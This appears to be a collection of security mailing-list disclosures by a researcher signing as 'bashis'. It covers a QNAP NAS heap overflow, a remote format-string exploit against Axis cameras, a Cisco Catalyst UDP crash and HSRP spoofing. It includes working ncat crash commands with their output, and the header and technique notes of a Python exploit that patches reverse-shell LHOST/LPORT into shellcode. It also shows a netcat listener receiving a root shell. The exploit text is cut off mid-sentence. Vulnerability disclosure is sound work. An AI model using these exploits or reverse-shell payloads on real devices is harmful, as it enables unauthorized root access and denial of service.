0-day: QNAP NAS Devices suffer of heap overflow
Greetings, Twice I tried to use the QNAP Web page (https://aid.qnap.com/event/_module/nas/safe_report/) for reporting vulnerability, and twice I got mailer-daemon back. So, I’ll post my vulnerabilities here instead (Was not meant to be 0-day… whatever). Have a nice day (and happy new year) /bashis == 1) [Heap overflow] == Path: /home/httpd/cgi-bin/cgi.cgi u = valid user [guest|admin] 1.1) /* Remote */ [Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443 HTTP/1.1 200 OK Date: Sat, 31 Dec 2016 00:01:11 GMT *** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 *** === Backtrace: = === Memory map: 08048000-08069000 r-xp 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi 08069000-0806b000 rw-p 0002 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi 0806b000-0808c000 rw-p 00: 00 0 [heap] [SNIP] ffe53000-ffe54000 rw-p 00: 00 0 Content-Length: 0 Connection: close Content-Type: text/plain [Remote host]# === 1.2) /* Local test, to get more info from backtrace */ # export QUERY_STRING="u=admin=`for((i=0;i<263;i++));do echo -en "A";done`" # ./cgi.cgi *** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 *** === Backtrace: = /lib/libc.so.6[0xf6c3da62] /lib/libc.so.6(cfree+0x89)[0xf6c3f729] /lib/libc.so.6(fclose+0x136)[0xf6c2e5c6] /lib/libnss_compat.so.2[0xf6b8ac25] /lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282] /lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57] /lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8] /usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972] /usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66] /usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7519098] ./cgi.cgi[0x80502ed] ./cgi.cgi[0x8051a7e] /lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90] ./cgi.cgi[0x804d151] === Memory map: 08048000-08069000 r-xp 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi 08069000-0806b000 rw-p 0002 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi 0806b000-0808c000 rw-p 00:00 0 [heap] [SNIP] ffd9e000-ffdbe000 rwxp 00:00 0 [stack] ffdbe000-ffdbf000 rw-p 00:00 0 Aborted # 1.3) # export QUERY_STRING="u=admin=`for((i=0;i<5957;i++));do echo -en "A";done`" # ./cgi.cgi *** glibc detected *** : free(): invalid next size (normal): 0x0806e508 *** === Backtrace: = /lib/libc.so.6[0xf6c9da62] /lib/libc.so.6(cfree+0x89)[0xf6c9f729] /lib/libc.so.6(fclose+0x136)[0xf6c8e5c6] /lib/libnss_compat.so.2[0xf6beac25] /lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282] /lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57] /lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8] /usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972] /usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66] /usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7579098] [0x80502ed] [0x0] === Memory map: 08048000-08069000 r-xp 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi 08069000-0806b000 rw-p 0002 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi 0806b000-0808c000 rw-p 00:00 0 [heap] [SNIP] # ./cgi.cgi Segmentation fault # # dmesg [SNIP] [ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip f6bd75c3 sp ff99f1bc error 4 in libc-2.6.1.so[f6b6b000+12d000] [SNIP] /* Local as shown below, but can of course be called from remote */ == 2) [STACK junk] == # export QUERY_STRING="bug" # ./jc.cgi Segmentation fault # dmesg [SNIP] [76277.192562] jc.cgi[18159]: segfault at 0 ip f6cbdffc sp ffeddbbc error 4 in libc-2.6.1.so[f6c52000+12d000] [SNIP] == 3) [STACK junk] == /* Local as shown, but can be called from remote */ # export QUERY_STRING="bug" # ./mediaGet.cgi Segmentation fault # dmesg [SNIP] [76802.837766] mediaGet.cgi[6589]: segfault at 0 ip f6bd8ffc sp ffc0498c error 4 in libc-2.6.1.so[f6b6d000+12d000] [SNIP] Have a nice day (and happy new year) /bashis Hello m...@noemail.eu, We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have perm
[Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon
#!/usr/bin/env python2.7 # # [SOF] # # [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon # Research and development by bashis 2016 # # This format string vulnerability has following characteristic: # - Heap Based (Exploiting string located on the heap) # - Blind Attack (No output the remote attacker)(*) # - Remotly exploitable (As anonymous, no credentials needed) # # (*) Not so 'Blind' after all, since the needed addresses can be predicted by statistic. # # This exploit has following characteristic: # - Multiple architecture exploit (MIPS/CRISv32/ARM) [From version 5.20.x] # - Modifying LHOST/LPORT in shellcode on the fly # - Manual exploiting of remote targets # - Simple HTTPS support # - Basic Authorization support (not needed for this exploit) # - FMS dictionary and predicted addresses for GOT free() / BSS / Netcat shellcode # - Multiple shellcodes (ARM, CRISv32, MIPS and Netcat PIPE shell) # - Exploiting with MIPS, CRISv32 and ARM shellcode will give shell as root # - Exploiting with ARM Netcat PIPE shell give normally shell as Anonymous (5.2x and 5.4x give shell as root) # - Multiple FMS exploit techniques # - "One-Write-Where-And-What" for MIPS and CRISv32 # Using "Old Style" POP's # Classic exploit using: Count to free() GOT, write shellcode address, jump to shellcode on free() call # Shellcode loaded in memory by sending shellcode URL encoded, that SSI daemon decodes and keeps in memory. # - "Two-Write-Where-And-What" for ARM # 1) "Old Style": Writing 1x LSB and 1x MSB by using offsets for GOT free() target address # 2) "New Style": ARM Arch's have both "Old Style" (>5.50.x) )POPs and "New Style" (<5.40.x) direct parameter access for POP/Write # [Big differnce in possibilities between "Old Style" and "New Style", pretty interesting actually] # - Another way to POP with "Old Style", to be able POPing with low as 1 byte (One byte with %1c instead of eight with %8x) # - Exploit is quite well documented # # Anyhow, # Everything started from this simple remote request: # # --- # $ echo -en "GET /httpDisabled.shtml?_user=%p|%p HTTP/1.0\n\n" | netcat 192.168.0.90 80 # HTTP/1.1 500 Server Error # Content-Type: text/html; charset=ISO-8859-1 # # 500 Server Error # 500 Server Error # The server encountered an internal error and could not complete your request. # # --- # # Which gave this output in /var/log/messages on the remote device: # # --- # Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:635: getpwnam() failed for user: 0x961f0|0x3ac04b10 # Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:303: Failed to get authorization data. # --- # # Which resulted into an remote exploit for more than 200 unique Axis Communication MPQT/PACS products # # --- # $ netcat -vvlp 31337 # listening on [any] 31337 ... # 192.168.0.90: inverse host lookup failed: Unknown host # connect to [192.168.0.1] from (UNKNOWN) [192.168.0.90] 55738 # id # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),51(viewer),52(operator),53(admin),54(system),55(ptz) # pwd # /usr/html # --- # # Some technical notes: # # 1. Direct addressing with %$%n is "delayed", and comes in force only after disconnect. # Old metod with POP's coming into force instantly # # 2. Argument "0" will be assigned (after using old POP metod and %n WRITE) the next address on stack after POP's) # - Would be interesting to investigate why. # # 3. Normal Apache badbytes: 0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20, 0x23, 0x26 # Goodbytes: 0x01-0x08, 0x0e-0x1f, 0x21-0x22, 0x24-0x25, 0x27-0xff # # 3.1 Normal Boa badbytes: 0x00-0x08, 0x0b-0x0c, 0x0e-0x19, 0x80-0xff # Goodbytes: 0x09, 0x0a, 0x0d, 0x20-0x7f # # 3.2 Apache and Boa, by using URL encoded shellcode as in this exploit: # Badbytes = None, Goodbytes = 0x00 - 0xff (Yay!) # # 4. Everything is randomized, except heap. # # 5. My initial attempts to use ROP's was not good, as I didn't want to create # one unique FMS key by testing each single firmware version, and using ROP with FMS # on heap seems pretty complicated as there is one jump availible, maximum two. # # 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case. # # 6. Encoded and Decoded shellcode located in .bss section. # 6.1 FMS excecuted on heap # # 7. Vulnerable MPQT/PACS architectures: CRISv32, MIPS and ARM # 7.1 ARM has nonexecutable stack flag bit set (>5.20.x) by default on their binaries/libs, # so execute shellcode on heap/stack may be impossible. # 7.2 ARM shellcode and exploit has been verified by setting executable stack flag bit on binaries, # and re-compile of the image. # 7.3 However, ARM is easily exploitable with netcat shell, that's using the builtin '/bin/sh -c' code to execute. # # 8. This exploi
Cisco Catalyst 2900XL crashes with empty UDP packet when SNMP is disabled.
Hi It's possible to crash Cisco Catalyst 2900XL with a empty UDP packet to port 161 when SNMP is disabled. (Other switches also?) The crash only occurs when the switch is booted with SNMP disabled. Seems that SNMP is listening, even if SNMP is disabled.. (?) I have only tested this with Software Version 12.0(5.2)XU, on my WS-C2924C-XL-EN switch. Workaround: Enable SNMP, or enable SNMP and then disable SNMP. Vendor notified 19 April 2001. No response yet. A simple empty UDP packet sender included. -- \0x62\0x61\0x73\0x68\0x69\0x73 gzip compressed data, deflated, last modified: Thu May 3 00:03:58 2001, os: Unix
Re: Cisco HSRP Weakness/DoS
Hi b) what worries me about this method is that it is close to ideal for a man in the middle attack (take over default gw, rewrite source address to my own address, rewrite anything else in the packet, send to the real router). It's realy old news, this was allready known in '98 when they written RFC 2281 ( http://www.faqs.org/rfcs/rfc2281.html ) but nobody have talked about it in public, except Cisco who is saying how good it is, to get a fault tolerant network.. Well, i'm not suprised that there are lots of ppl who dont know this, so thats why i posted it to bugtraq, to make ppl aware of it.. Regards, bashis -- \0x62\0x61\0x73\0x68\0x69\0x73
Cisco HSRP Weakness/DoS
Hi I was playing with Cisco's HSRP (Hot Standby Routing Protocol), and there is a (major) weakness in that protocol that allow any host in a LAN segment to make a HSRP DoS. Short (very) explain of HSRP. HSRP uses UDP on port 1985 to multicast address 224.0.0.2, and the authentication is in clear text. (default: cisco) I include a small program that sends out a fake HSRP packet, when it hear a legal HSRP packet, as a proof of concept code... Vendor was notified about this 14 April 2001,, and their response was to use HSRP with IPSec. http://www.cisco.com/networkers/nw00/pres/2402.pdf [cut from src] /* * Description: * This code listen for any HSRP packet, when it hear one HSRP packet, * it capture this, modifies some of HSRP protocol parameters, and send out * a fake HSRP packet that tells other routers that I am the active router, * I have highest priority and you should be 'Standby' or silent.. * * If the other active, and legal router has highest possible * priority (255), then they will fight.. ;-) , AND it seems * in my tests that the legal router who 'wishes' be active router, * IS allready active, so no DoS will occure. (only UDP flood from both) */ -- \0x62\0x61\0x73\0x68\0x69\0x73 gzip compressed data, deflated, last modified: Thu May 3 20:02:56 2001, os: Unix
